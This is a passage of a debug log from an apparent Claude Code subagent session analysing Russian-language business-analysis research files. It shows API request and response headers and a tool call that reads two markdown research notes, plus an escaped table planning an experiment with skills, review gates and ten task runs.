\u0446\u0435\u043b\u0435\u0432\u043e\u0439\\n\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442. \u0426\u0435\u043b\u044c \u2014 \u043d\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435, \u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0432\u044b\u0445 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\\n\\n| \u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0441\u0440\u0435\u0437\u0430 | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 | \u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a |\\n| --- | --- | --- |\\n| \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 | `contact-center` | \u043d\u0430\u0438\u0431\u043e\u043b\u044c\u0448\u0435\u0435 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 |\\n| \u0421\u0438\u0441\u0442\u0435\u043c\u0430 | \u043e\u0434\u0438\u043d \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430, \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0434\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 | `SY-3`: \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0421\u0438\u0441\u0442\u0435\u043c\u044b \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f |\\n| \u041f\u0440\u043e\u0446\u0435\u0441\u0441\u044b | `P-01` `elicitation-processing` \u0438 `P-03` `bcreq-formation`, \u0432\u0435\u0442\u0432\u044c `P-02` `clarification-management` | \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043e\u0442 \u0441\u044b\u0440\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u0434\u043e \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430; \u0432\u0435\u0442\u0432\u044c \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430, \u0438\u043d\u0430\u0447\u0435 \u043d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u044c \u043d\u0435\u0447\u0435\u043c \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u0442\u044c |\\n| \u0426\u0435\u043b\u0435\u0432\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 | `A-BCREQ` | \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0438\u0437 issue #563 |\\n| \u041d\u0430\u0432\u044b\u043a\u0438 | 7 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 `SKILL.md` (3 \u0432 `P-01`, 4 \u0432 `P-03`) \u043f\u043b\u044e\u0441 3 \u043d\u0430\u0432\u044b\u043a\u0430 \u0432\u0435\u0442\u0432\u0438 `P-02` | \u0435\u0434\u0438\u043d\u0438\u0446\u0430 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u2014 \u043d\u0430\u0432\u044b\u043a-\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u043d\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f (`SK-1`) |\\n| \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 | \u0441\u043b\u043e\u0432\u0430\u0440\u044c `ba-operation-taxonomy`, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 | \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043d\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e: \u043e\u043d\u0430 \u0448\u0430\u0433 \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0430\u0432\u044b\u043a\u0430 |\\n| \u0413\u0435\u0439\u0442\u044b | `G-self` \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0430\u0432\u044b\u043a\u0430, `G-mach` \u043d\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0435 \u043d\u0430\u0432\u044b\u043a\u0430, `G-human` \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u0438 \u0432 `P-02` | \u043c\u0438\u043d\u0438\u043c\u0443\u043c, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043e\u0442\u043a\u0430\u0437 \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d; \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u0441\u044b\u043b\u043e\u043a \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a (`GT-5`) |\\n| \u042d\u0442\u0430\u043b\u043e\u043d\u044b | 2 (`contact-center`, \u043f\u0440\u043e\u0444\u0438\u043b\u044c `P-SETTINGS` \u0438 `P-NO-SETTINGS`) | \u0443\u0436\u0435 \u0441\u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432 `exp/ba-micro-structure-561/` |\\n| \u041e\u0431\u044a\u0451\u043c \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 | 10 \u0437\u0430\u0434\u0430\u0447 | \u043d\u0438\u0436\u043d\u044f\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0434\u043e\u043b\u044f \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u043c\u0430 |\\n\\n## 4. \u041f\u043b\u0430\u043d \u0441\u0431\u043e\u0440\u0430 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\",\n[2026-09-29T07:44:57.751Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:44:57.751Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:44:57.751Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:44:57.751Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:44:57.751Z] [INFO]   }\n[2026-09-29T07:44:57.751Z] [INFO] }\n[2026-09-29T07:44:57.804Z] [STDOUT] [log_aa2aad] sending request {\n[2026-09-29T07:44:57.810Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:57.814Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:57.817Z] [STDOUT]   options: {\n[2026-09-29T07:44:57.822Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:57.829Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:57.836Z] [STDOUT]     body: {\n[2026-09-29T07:44:57.843Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:57.849Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:57.858Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:57.861Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:57.872Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:57.876Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:57.880Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:57.883Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:57.891Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:57.894Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:57.898Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:57.900Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:57.902Z] [STDOUT]     },\n[2026-09-29T07:44:57.906Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:44:57.908Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:44:57.911Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:57.914Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:44:57.924Z] [STDOUT]       onabort: null,\n[2026-09-29T07:44:57.933Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:44:57.939Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:44:57.947Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:44:57.951Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:44:57.963Z] [STDOUT]     },\n[2026-09-29T07:44:57.974Z] [STDOUT]     stream: true,\n[2026-09-29T07:44:57.979Z] [STDOUT]   },\n[2026-09-29T07:44:57.985Z] [STDOUT]   headers: {\n[2026-09-29T07:44:57.990Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:57.994Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:44:58.011Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:44:58.021Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:44:58.029Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:44:58.033Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:44:58.048Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:44:58.053Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:44:58.059Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:58.065Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1265\",\n[2026-09-29T07:44:58.070Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:44:58.073Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:44:58.079Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:58.083Z] [STDOUT]     \"x-client-request-id\": \"639289c3-7729-47a8-90ac-373be98d2eb4\",\n[2026-09-29T07:44:58.087Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:58.093Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:58.099Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:44:58.104Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:44:58.119Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:44:58.127Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:44:58.135Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:44:58.147Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:44:58.151Z] [STDOUT]   },\n[2026-09-29T07:44:58.155Z] [STDOUT] }\n[2026-09-29T07:44:58.159Z] [INFO] {\n[2026-09-29T07:44:58.159Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:58.159Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T07:44:58.159Z] [INFO]   \"task_id\": \"bydaqfxei\",\n[2026-09-29T07:44:58.159Z] [INFO]   \"owned_by_subagent\": true,\n[2026-09-29T07:44:58.159Z] [INFO]   \"tool_use_id\": \"toolu_011iMzwfCkWQJaeVUy3ZzQZi\",\n[2026-09-29T07:44:58.159Z] [INFO]   \"description\": \"Install pyyaml\",\n[2026-09-29T07:44:58.159Z] [INFO]   \"is_backgrounded\": false,\n[2026-09-29T07:44:58.159Z] [INFO]   \"task_type\": \"local_bash\",\n[2026-09-29T07:44:58.159Z] [INFO]   \"uuid\": \"f457a56f-4dad-4c46-9b2a-04189574922e\",\n[2026-09-29T07:44:58.159Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:44:58.159Z] [INFO] }\n[2026-09-29T07:44:58.163Z] [INFO] {\n[2026-09-29T07:44:58.163Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:58.163Z] [INFO]   \"message\": {\n[2026-09-29T07:44:58.163Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:58.163Z] [INFO]     \"id\": \"msg_011CfXMieMWvDAAHnw4SbR9Y\",\n[2026-09-29T07:44:58.163Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:58.163Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:58.163Z] [INFO]     \"content\": [\n[2026-09-29T07:44:58.163Z] [INFO]       {\n[2026-09-29T07:44:58.163Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:44:58.163Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:44:58.163Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:44:58.163Z] [INFO]     ],\n[2026-09-29T07:44:58.163Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:58.163Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:58.163Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:58.163Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:58.163Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:58.163Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:58.163Z] [INFO]       \"cache_creation_input_tokens\": 3749,\n[2026-09-29T07:44:58.163Z] [INFO]       \"cache_read_input_tokens\": 14684,\n[2026-09-29T07:44:58.163Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:58.163Z] [INFO]         \"ephemeral_5m_input_tokens\": 3749,\n[2026-09-29T07:44:58.163Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:44:58.163Z] [INFO]       },\n[2026-09-29T07:44:58.163Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:44:58.163Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:58.163Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:44:58.163Z] [INFO]     },\n[2026-09-29T07:44:58.163Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:44:58.163Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:44:58.163Z] [INFO]     \"context_management\": null\n[2026-09-29T07:44:58.163Z] [INFO]   },\n[2026-09-29T07:44:58.163Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:44:58.163Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:58.163Z] [INFO]   \"uuid\": \"2248f886-f575-49cd-b2fc-36e00d0d4066\",\n[2026-09-29T07:44:58.163Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:57.868Z\",\n[2026-09-29T07:44:58.163Z] [INFO]   \"request_id\": \"req_011CfXMidpmDGRzEcQCjLKs6\",\n[2026-09-29T07:44:58.163Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:58.163Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:44:58.163Z] [INFO] }\n[2026-09-29T07:44:58.573Z] [STDOUT] [log_aa2aad, request-id: \"req_011CfXMimWdZkKHKKwQd4Aee\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 767ms\n[2026-09-29T07:44:58.576Z] [STDOUT] [log_aa2aad] response start {\n[2026-09-29T07:44:58.579Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:58.582Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:58.586Z] [STDOUT]   headers: {\n[2026-09-29T07:44:58.591Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:58.598Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:58.600Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:58.606Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:44:58.609Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:58.615Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:58.620Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:58.626Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:58.628Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:58.632Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:58.637Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:58.643Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:58.647Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:58.650Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:58.654Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:58.660Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:58.666Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:58.668Z] [STDOUT]     \"cf-ray\": \"a4295d994b3bdbb5-FRA\",\n[2026-09-29T07:44:58.670Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:58.674Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:58.680Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:58.684Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:58.689Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:58 GMT\",\n[2026-09-29T07:44:58.695Z] [STDOUT]     \"request-id\": \"req_011CfXMimWdZkKHKKwQd4Aee\",\n[2026-09-29T07:44:58.700Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:58.704Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:58.711Z] [STDOUT]     traceresponse: \"00-32b6e8d3c277b36efbb3b90a31977b21-7e7fd37e8e086242-01\",\n[2026-09-29T07:44:58.720Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:58.723Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:58.730Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:58.733Z] [STDOUT]   },\n[2026-09-29T07:44:58.739Z] [STDOUT]   durationMs: 767,\n[2026-09-29T07:44:58.744Z] [STDOUT] }\n[2026-09-29T07:44:58.753Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:58.762Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:58 GMT\",\n[2026-09-29T07:44:58.770Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:58.775Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:58.779Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:58.787Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:58.790Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:58.793Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:58.801Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:58.806Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:58.815Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:58.871Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:58.881Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:58.892Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:58.901Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:44:58.910Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:58.918Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:58.926Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:58.933Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:58.943Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:58.949Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:58.956Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:58.959Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:58.966Z] [STDOUT]   \"request-id\": \"req_011CfXMimWdZkKHKKwQd4Aee\",\n[2026-09-29T07:44:58.976Z] [STDOUT]   \"traceresponse\": \"00-32b6e8d3c277b36efbb3b90a31977b21-7e7fd37e8e086242-01\",\n[2026-09-29T07:44:58.979Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:58.988Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:58.992Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:59.000Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:59.003Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:59.005Z] [STDOUT]   \"cf-ray\": \"a4295d994b3bdbb5-FRA\",\n[2026-09-29T07:44:59.006Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:59.009Z] [STDOUT] [log_aa2aad] response parsed {\n[2026-09-29T07:44:59.017Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:59.024Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:59.041Z] [STDOUT]   body: X {\n[2026-09-29T07:44:59.045Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:59.052Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:59.057Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:59.060Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:59.066Z] [STDOUT]     },\n[2026-09-29T07:44:59.071Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:59.079Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:59.084Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:59.089Z] [STDOUT]   },\n[2026-09-29T07:44:59.096Z] [STDOUT]   durationMs: 769,\n[2026-09-29T07:44:59.100Z] [STDOUT] }\n[2026-09-29T07:44:59.102Z] [INFO] {\n[2026-09-29T07:44:59.102Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:59.102Z] [INFO]   \"message\": {\n[2026-09-29T07:44:59.102Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:59.102Z] [INFO]     \"id\": \"msg_011CfXMieMWvDAAHnw4SbR9Y\",\n[2026-09-29T07:44:59.102Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:59.102Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:59.102Z] [INFO]     \"content\": [\n[2026-09-29T07:44:59.102Z] [INFO]       {\n[2026-09-29T07:44:59.102Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:44:59.102Z] [INFO]         \"id\": \"toolu_01CjPTRcEEhq4vMHzn77sPQA\",\n[2026-09-29T07:44:59.102Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:44:59.102Z] [INFO]         \"input\": {\n[2026-09-29T07:44:59.102Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/research/ba-requirements && cat 2026-08-25-mango-runs-empirical-snapshot.md 2026-08-26-rrp-full-cycle-corpus-facts.md\",\n[2026-09-29T07:44:59.102Z] [INFO]           \"description\": \"Read snapshot and RRP facts\"\n[2026-09-29T07:44:59.102Z] [INFO]         },\n[2026-09-29T07:44:59.102Z] [INFO]         \"caller\": {\n[2026-09-29T07:44:59.102Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:44:59.102Z] [INFO]         }\n[2026-09-29T07:44:59.102Z] [INFO]       }\n[2026-09-29T07:44:59.102Z] [INFO]     ],\n[2026-09-29T07:44:59.102Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:59.102Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:59.102Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:59.102Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:59.102Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:59.102Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:59.102Z] [INFO]       \"cache_creation_input_tokens\": 3749,\n[2026-09-29T07:44:59.102Z] [INFO]       \"cache_read_input_tokens\": 14684,\n[2026-09-29T07:44:59.102Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:59.102Z] [INFO]         \"ephemeral_5m_input_tokens\": 3749,\n[2026-09-29T07:44:59.102Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:44:59.102Z] [INFO]       },\n[2026-09-29T07:44:59.102Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:44:59.102Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:59.102Z] [INFO]       \"inference_geo\": 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{\n[2026-09-29T07:44:59.977Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:59.977Z] [INFO]     \"content\": [\n[2026-09-29T07:44:59.977Z] [INFO]       {\n[2026-09-29T07:44:59.977Z] [INFO]         \"tool_use_id\": \"toolu_01CjPTRcEEhq4vMHzn77sPQA\",\n[2026-09-29T07:44:59.977Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:59.977Z] [INFO]         \"content\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-08-25\\ntemperature: 0.1\\ntype: research\\ncontext: [ba, requirements, mango, runs, empirical-snapshot, metrics]\\nmethod: corpus-measurement + formal-metadata-aggregation\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/539\\\"\\nbased_on:\\n  - research/ba-requirements/exp/ba-requirements-normalization-539/runs-aggregate.json\\nrelated_artifacts:\\n  - \\\"research/ba-requirements/normalization/00-introduction.md\\\"\\n  - 